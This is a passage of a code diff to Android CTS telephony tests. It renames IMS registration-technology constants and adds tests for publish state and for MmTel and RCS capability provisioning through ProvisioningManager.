+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        // Sending Publish means that notifyPendingPublicRequest() has been processed.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Verify the value of getting from the API is PUBLISH_STATE_OK
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+        overrideCarrierConfig(null);
+    }
+
+    @Test
     public void testRcsManagerRegistrationCallback() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
             return;
@@ -2172,17 +2592,17 @@
 
         // Start registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
 
         // Complete registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
 
         // Fail handover to IWLAN
         sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
-                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+                IMS_REGI_TECH_IWLAN,
                 new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE,
                         ImsReasonInfo.CODE_UNSPECIFIED, ""));
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
@@ -2256,14 +2676,14 @@
 
         // Start registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
         verifyRegistrationState(regManager, RegistrationManager.REGISTRATION_STATE_REGISTERING);
         verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
 
         // Complete registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
         verifyRegistrationState(regManager, RegistrationManager.REGISTRATION_STATE_REGISTERED);
         verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
@@ -2271,7 +2691,7 @@
 
         // Fail handover to IWLAN
         sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
-                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+                IMS_REGI_TECH_IWLAN,
                 new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE,
                         ImsReasonInfo.CODE_UNSPECIFIED, ""));
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
@@ -2280,7 +2700,7 @@
 
         // handover to IWLAN
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN);
+                IMS_REGI_TECH_IWLAN);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
         verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WLAN);
 
@@ -2371,35 +2791,35 @@
 
         // Start registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
         verifyRegistrationState(imsRcsManager, RegistrationManager.REGISTRATION_STATE_REGISTERING);
         verifyRegistrationTransportType(imsRcsManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
 
         // Complete registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
         verifyRegistrationState(imsRcsManager, RegistrationManager.REGISTRATION_STATE_REGISTERED);
         verifyRegistrationTransportType(imsRcsManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
 
         // Start registration over NR
         sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
-                ImsRegistrationImplBase.REGISTRATION_TECH_NR);
+                IMS_REGI_TECH_NR);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
         verifyRegistrationState(imsRcsManager, RegistrationManager.REGISTRATION_STATE_REGISTERING);
         verifyRegistrationTransportType(imsRcsManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
 
         // Complete registration over NR
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_NR);
+                IMS_REGI_TECH_NR);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
         verifyRegistrationState(imsRcsManager, RegistrationManager.REGISTRATION_STATE_REGISTERED);
         verifyRegistrationTransportType(imsRcsManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
 
         // Fail handover to IWLAN
         sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
-                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+                IMS_REGI_TECH_IWLAN,
                 new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE,
                         ImsReasonInfo.CODE_UNSPECIFIED, ""));
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
@@ -2408,7 +2828,7 @@
 
         // handover to IWLAN
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN);
+                IMS_REGI_TECH_IWLAN);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
         verifyRegistrationTransportType(imsRcsManager, AccessNetworkConstants.TRANSPORT_TYPE_WLAN);
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(imsRcsManager,
@@ -2435,7 +2855,7 @@
                 .getMmTelFeature().getCapabilities();
         // Make sure we start off with every capability unavailable
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         sServiceConnector.getCarrierService().getMmTelFeature()
                 .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities());
 
@@ -2447,7 +2867,7 @@
             // Make sure we are tracking voice capability over LTE properly.
             assertEquals(fwCaps.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE),
                     mmTelManager.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
-                            ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+                            IMS_REGI_TECH_LTE));
         } finally {
             automan.dropShellPermissionIdentity();
         }
@@ -2496,7 +2916,7 @@
             automan.adoptShellPermissionIdentity();
             assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
                     MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
-                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
+                    IMS_REGI_TECH_LTE)));
 
             mmTelManager.unregisterMmTelCapabilityCallback(callback);
         } finally {
@@ -2529,7 +2949,7 @@
                 .getMmTelFeature().getCapabilities();
         // Make sure we start off with every capability unavailable
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         sServiceConnector.getCarrierService().getMmTelFeature()
                 .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities());
 
@@ -2541,7 +2961,7 @@
             // Make sure we are tracking voice capability over LTE properly.
             assertEquals(fwCaps.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE),
                     mmTelManager.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
-                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+                    IMS_REGI_TECH_LTE));
         } finally {
             automan.dropShellPermissionIdentity();
         }
@@ -2586,7 +3006,7 @@
             automan.adoptShellPermissionIdentity();
             assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
                     MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER,
-                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
+                    IMS_REGI_TECH_LTE)));
 
             mmTelManager.unregisterMmTelCapabilityCallback(callback);
         } finally {
@@ -2623,7 +3043,7 @@
 
         // Make sure we start off with every capability unavailable
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         MmTelFeature.MmTelCapabilities stdCapabilities = new MmTelFeature.MmTelCapabilities();
         sServiceConnector.getCarrierService().getMmTelFeature()
                 .notifyCapabilitiesStatusChanged(stdCapabilities);
@@ -2641,7 +3061,7 @@
                 automan.adoptShellPermissionIdentity();
                 boolean isAvailableBeforeStatusChange = mmTelManager.isAvailable(
                         MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
-                        ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                        IMS_REGI_TECH_LTE);
                 assertFalse(isAvailableBeforeStatusChange);
             } finally {
                 automan.dropShellPermissionIdentity();
@@ -2658,7 +3078,7 @@
                         automan.adoptShellPermissionIdentity();
                         boolean isVoiceAvailable = mmTelManager
                                 .isAvailable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
-                                        ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                                        IMS_REGI_TECH_LTE);
 
                         voiceIsAvailable.offer(isVoiceAvailable);
                     } finally {
@@ -2714,12 +3134,12 @@
         // Connect to device ImsService with RcsFeature
         triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
 
-        int registrationTech = ImsRegistrationImplBase.REGISTRATION_TECH_LTE;
+        int registrationTech = IMS_REGI_TECH_LTE;
         ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
 
         // Make sure we start off with none-capability
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         RcsImsCapabilities noCapabilities = new RcsImsCapabilities(RCS_CAP_NONE);
         sServiceConnector.getCarrierService().getRcsFeature()
                 .notifyCapabilitiesStatusChanged(noCapabilities);
@@ -2781,7 +3201,7 @@
 
         // Verify the callback and the api isAvailable that the capabilities is NONE in the
         // beginning.
-        int radioTechLTE = ImsRegistrationImplBase.REGISTRATION_TECH_LTE;
+        int radioTechLTE = IMS_REGI_TECH_LTE;
         int capCb = waitForResult(availabilityChanged);
         assertEquals(capCb, RCS_CAP_NONE);
         availabilityChanged.clear();
@@ -2896,6 +3316,537 @@
         }
     }
 
+    @Test
+    public void testProvisioningManagerWhenMmtelProvisionIsRequired() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // test in case provision for mmtel is required
+        PersistableBundle bundle = new PersistableBundle();
+
+        PersistableBundle innerBundle = new PersistableBundle();
+        innerBundle.putIntArray(
+                CarrierConfigManager.Ims.KEY_CAPABILITY_TYPE_VOICE_INT_ARRAY,
+                new int[]{IMS_REGI_TECH_LTE, IMS_REGI_TECH_IWLAN}
+        );
+        innerBundle.putIntArray(
+                CarrierConfigManager.Ims.KEY_CAPABILITY_TYPE_VIDEO_INT_ARRAY,
+                new int[]{IMS_REGI_TECH_LTE}
+        );
+
+        bundle.putPersistableBundle(
+                CarrierConfigManager.Ims.KEY_MMTEL_REQUIRES_PROVISIONING_BUNDLE,
+                innerBundle);
+
+        overrideCarrierConfig(bundle);
+
+        triggerFrameworkConnectToCarrierImsService();
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        LinkedBlockingQueue<Pair<Integer, Integer>> mIntQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<Pair<Integer, Pair<Integer, Boolean>>> mOnFeatureChangedQueue =
+                new LinkedBlockingQueue<>();
+
+        ProvisioningManager.Callback callback = new ProvisioningManager.Callback() {
+            @Override
+            public void onProvisioningIntChanged(int item, int value) {
+                mIntQueue.offer(new Pair<>(item, value));
+            }
+        };
+
+        ProvisioningManager.FeatureProvisioningCallback featureProvisioningCallback =
+                new ProvisioningManager.FeatureProvisioningCallback() {
+            @Override
+            public void onFeatureProvisioningChanged(
+                    @MmTelFeature.MmTelCapabilities.MmTelCapability int capability,
+                    @ImsRegistrationImplBase.ImsRegistrationTech int tech,
+                    boolean isProvisioned) {
+                mOnFeatureChangedQueue.offer(new Pair<>(capability,
+                        new Pair<>(tech, isProvisioned)));
+            }
+        };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerProvisioningChangedCallback(getContext().getMainExecutor(),
+                    callback);
+            provisioningManager.registerFeatureProvisioningChangedCallback(
+                    getContext().getMainExecutor(), featureProvisioningCallback);
+
+            TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING);
+
+            // test get/setProvisioningStatusForCapability for VoLTE
+            assertTrue(provisioningManager.isProvisioningRequiredForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE));
+            boolean isProvisioned = provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE);
+            provisioningManager.setProvisioningStatusForCapability(MMTEL_CAP_VOICE,
+                    IMS_REGI_TECH_LTE, !isProvisioned);
+            assertTrue(waitForParam(mOnFeatureChangedQueue,
+                    new Pair<>(MMTEL_CAP_VOICE, new Pair<>(IMS_REGI_TECH_LTE, !isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VOLTE_PROVISIONING_STATUS, !isProvisioned ? 1 : 0)));
+            assertEquals(!isProvisioned, provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE));
+            mIntQueue.clear();
+            mOnFeatureChangedQueue.clear();
+            provisioningManager.setProvisioningStatusForCapability(MMTEL_CAP_VOICE,
+                    IMS_REGI_TECH_LTE, isProvisioned);
+            assertTrue(waitForParam(mOnFeatureChangedQueue,
+                    new Pair<>(MMTEL_CAP_VOICE, new Pair<>(IMS_REGI_TECH_LTE, isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VOLTE_PROVISIONING_STATUS, isProvisioned ? 1 : 0)));
+            assertEquals(isProvisioned, provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE));
+
+            // test get/setProvisioningStatusForCapability for VoWIFI
+            assertTrue(provisioningManager.isProvisioningRequiredForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN));
+            isProvisioned = provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN);
+            mIntQueue.clear();
+            mOnFeatureChangedQueue.clear();
+            provisioningManager.setProvisioningStatusForCapability(MMTEL_CAP_VOICE,
+                    IMS_REGI_TECH_IWLAN, !isProvisioned);
+            assertTrue(waitForParam(mOnFeatureChangedQueue,
+                    new Pair<>(MMTEL_CAP_VOICE, new Pair<>(IMS_REGI_TECH_IWLAN, !isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VOICE_OVER_WIFI_ENABLED_OVERRIDE, !isProvisioned ? 1 : 0)));
+            assertEquals(!isProvisioned, provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN));
+            mIntQueue.clear();
+            mOnFeatureChangedQueue.clear();
+            provisioningManager.setProvisioningStatusForCapability(MMTEL_CAP_VOICE,
+                    IMS_REGI_TECH_IWLAN, isProvisioned);
+            assertTrue(waitForParam(mOnFeatureChangedQueue,
+                    new Pair<>(MMTEL_CAP_VOICE, new Pair<>(IMS_REGI_TECH_IWLAN, isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VOICE_OVER_WIFI_ENABLED_OVERRIDE, isProvisioned ? 1 : 0)));
+            assertEquals(isProvisioned, provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN));
+
+            // test get/setProvisioningStatusForCapability for VT
+            assertTrue(provisioningManager.isProvisioningRequiredForCapability(
+                    MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE));
+            isProvisioned = provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE);
+            mIntQueue.clear();
+            mOnFeatureChangedQueue.clear();
+            provisioningManager.setProvisioningStatusForCapability(MMTEL_CAP_VIDEO,
+                    IMS_REGI_TECH_LTE, !isProvisioned);
+            assertTrue(waitForParam(mOnFeatureChangedQueue,
+                    new Pair<>(MMTEL_CAP_VIDEO, new Pair<>(IMS_REGI_TECH_LTE, !isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VT_PROVISIONING_STATUS, !isProvisioned ? 1 : 0)));
+            assertEquals(!isProvisioned, provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE));
+            mIntQueue.clear();
+            mOnFeatureChangedQueue.clear();
+            provisioningManager.setProvisioningStatusForCapability(MMTEL_CAP_VIDEO,
+                    IMS_REGI_TECH_LTE, isProvisioned);
+            assertTrue(waitForParam(mOnFeatureChangedQueue,
+                    new Pair<>(MMTEL_CAP_VIDEO, new Pair<>(IMS_REGI_TECH_LTE, isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VT_PROVISIONING_STATUS, isProvisioned ? 1 : 0)));
+            assertEquals(isProvisioned, provisioningManager
+                    .getProvisioningStatusForCapability(MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE));
+
+            TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING);
+
+            // test get/setProvisioningStatusForCapability with lower bounding parameters
+            // when callback is not supported
+
+            isProvisioned = provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE);
+            mIntQueue.clear();
+            mOnFeatureChangedQueue.clear();
+            provisioningManager.setProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE, !isProvisioned);
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VOLTE_PROVISIONING_STATUS, !isProvisioned ? 1 : 0)));
+            assertEquals(!isProvisioned,
+                    provisioningManager.getProvisioningStatusForCapability(
+                            MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE));
+            isProvisioned = provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN);
+            mIntQueue.clear();
+            mOnFeatureChangedQueue.clear();
+            provisioningManager.setProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN, !isProvisioned);
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VOICE_OVER_WIFI_ENABLED_OVERRIDE, !isProvisioned ? 1 : 0)));
+            assertEquals(!isProvisioned,
+                    provisioningManager.getProvisioningStatusForCapability(
+                            MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN));
+
+            isProvisioned = provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE);
+            mIntQueue.clear();
+            mOnFeatureChangedQueue.clear();
+            provisioningManager.setProvisioningStatusForCapability(
+                    MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE, !isProvisioned);
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_VT_PROVISIONING_STATUS, !isProvisioned ? 1 : 0)));
+            assertEquals(!isProvisioned,
+                    provisioningManager.getProvisioningStatusForCapability(
+                            MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE));
+
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.unregisterProvisioningChangedCallback(callback);
+            provisioningManager.unregisterFeatureProvisioningChangedCallback(
+                    featureProvisioningCallback);
+        } finally {
+            TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING);
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testProvisioningManagerWhenMmtelProvisionIsNotRequired() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // test in case provision for mmtel is required
+        PersistableBundle bundle = new PersistableBundle();
+        PersistableBundle innerBundle = new PersistableBundle();
+
+        bundle.putPersistableBundle(
+                CarrierConfigManager.Ims.KEY_MMTEL_REQUIRES_PROVISIONING_BUNDLE,
+                innerBundle);
+        overrideCarrierConfig(bundle);
+
+        triggerFrameworkConnectToCarrierImsService();
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        LinkedBlockingQueue<Pair<Integer, Integer>> mIntQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<Pair<Integer, Pair<Integer, Boolean>>> mOnFeatureChangedQueue =
+                new LinkedBlockingQueue<>();
+
+
+        ProvisioningManager.Callback callback = new ProvisioningManager.Callback() {};
+
+        ProvisioningManager.FeatureProvisioningCallback featureProvisioningCallback =
+                new ProvisioningManager.FeatureProvisioningCallback() {};
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerProvisioningChangedCallback(getContext().getMainExecutor(),
+                    callback);
+            provisioningManager.registerFeatureProvisioningChangedCallback(
+                    getContext().getMainExecutor(), featureProvisioningCallback);
+
+            // In case provisioning is not required
+            // true will be returned regardless of stored value
+            // ignore set value whatever value is set by app
+            // therefore set different value from current then check if the value has changed
+            // test get/setProvisioningStatusForCapability for VoLTE
+
+            // isProvisioningRequiredForCapability should return false because provision is not
+            // required
+            assertTrue(!provisioningManager.isProvisioningRequiredForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE));
+            // However, getProvisioningStatusForCapability() should return true because it does not
+            // require provision
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE));
+            // put opposite value to check if the key is changed or not
+            provisioningManager.setProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE, false);
+            // key value should not be changed whatever value is set
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_LTE));
+
+            // test case for VoWIFI
+            assertTrue(!provisioningManager.isProvisioningRequiredForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN));
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN));
+            provisioningManager.setProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN, false);
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VOICE, IMS_REGI_TECH_IWLAN));
+
+            // test case for VT
+            assertTrue(!provisioningManager.isProvisioningRequiredForCapability(
+                    MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE));
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE));
+            provisioningManager.setProvisioningStatusForCapability(
+                    MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE, false);
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    MMTEL_CAP_VIDEO, IMS_REGI_TECH_LTE));
+
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.unregisterProvisioningChangedCallback(callback);
+            provisioningManager.unregisterFeatureProvisioningChangedCallback(
+                    featureProvisioningCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testProvisioningManagerWhenRcsProvisionIsRequired() throws Exception {
+        if (!ImsUtils.shouldTestImsSingleRegistration()) {
+            return;
+        }
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL,
+                true);
+
+        PersistableBundle innerBundle = new PersistableBundle();
+        innerBundle.putIntArray(
+                CarrierConfigManager.Ims.KEY_CAPABILITY_TYPE_PRESENCE_UCE_INT_ARRAY,
+                new int[]{IMS_REGI_TECH_LTE, IMS_REGI_TECH_IWLAN, IMS_REGI_TECH_CROSS_SIM,
+                        IMS_REGI_TECH_NR}
+        );
+        bundle.putPersistableBundle(
+                CarrierConfigManager.Ims.KEY_RCS_REQUIRES_PROVISIONING_BUNDLE,
+                innerBundle);
+
+        overrideCarrierConfig(bundle);
+
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        LinkedBlockingQueue<Pair<Integer, Integer>> mIntQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<Pair<Integer, Pair<Integer, Boolean>>> mOnRcsFeatureChangedQueue =
+                new LinkedBlockingQueue<>();
+
+        ProvisioningManager.Callback callback = new ProvisioningManager.Callback() {
+            @Override
+            public void onProvisioningIntChanged(int item, int value) {
+                mIntQueue.offer(new Pair<>(item, value));
+            }
+
+        };
+
+        ProvisioningManager.FeatureProvisioningCallback featureProvisioningCallback =
+                new ProvisioningManager.FeatureProvisioningCallback() {
+            @Override
+            public void onRcsFeatureProvisioningChanged(
+                    @RcsFeature.RcsImsCapabilities.RcsImsCapabilityFlag int capability,
+                    @ImsRegistrationImplBase.ImsRegistrationTech int tech,
+                    boolean isProvisioned) {
+                mOnRcsFeatureChangedQueue.offer(new Pair<>(capability,
+                        new Pair<>(tech, isProvisioned)));
+            }
+        };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerProvisioningChangedCallback(getContext().getMainExecutor(),
+                    callback);
+            provisioningManager.registerFeatureProvisioningChangedCallback(
+                    getContext().getMainExecutor(), featureProvisioningCallback);
+
+            TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING);
+
+            assertTrue(provisioningManager.isRcsProvisioningRequiredForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_LTE));
+            assertTrue(provisioningManager.isRcsProvisioningRequiredForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_IWLAN));
+            assertTrue(provisioningManager.isRcsProvisioningRequiredForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_CROSS_SIM));
+            assertTrue(provisioningManager.isRcsProvisioningRequiredForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_NR));
+
+            // test get/setRcsProvisioningStatusForCapability for PRESENCE over LTE
+            boolean isProvisioned = provisioningManager.getRcsProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_LTE);
+            provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
+                    IMS_REGI_TECH_LTE, !isProvisioned);
+            assertTrue(waitForParam(mOnRcsFeatureChangedQueue,
+                    new Pair<>(RCS_CAP_PRESENCE, new Pair<>(IMS_REGI_TECH_LTE, !isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_EAB_PROVISIONING_STATUS, !isProvisioned ? 1 : 0)));
+
+            provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
+                    IMS_REGI_TECH_LTE, isProvisioned);
+            assertTrue(waitForParam(mOnRcsFeatureChangedQueue,
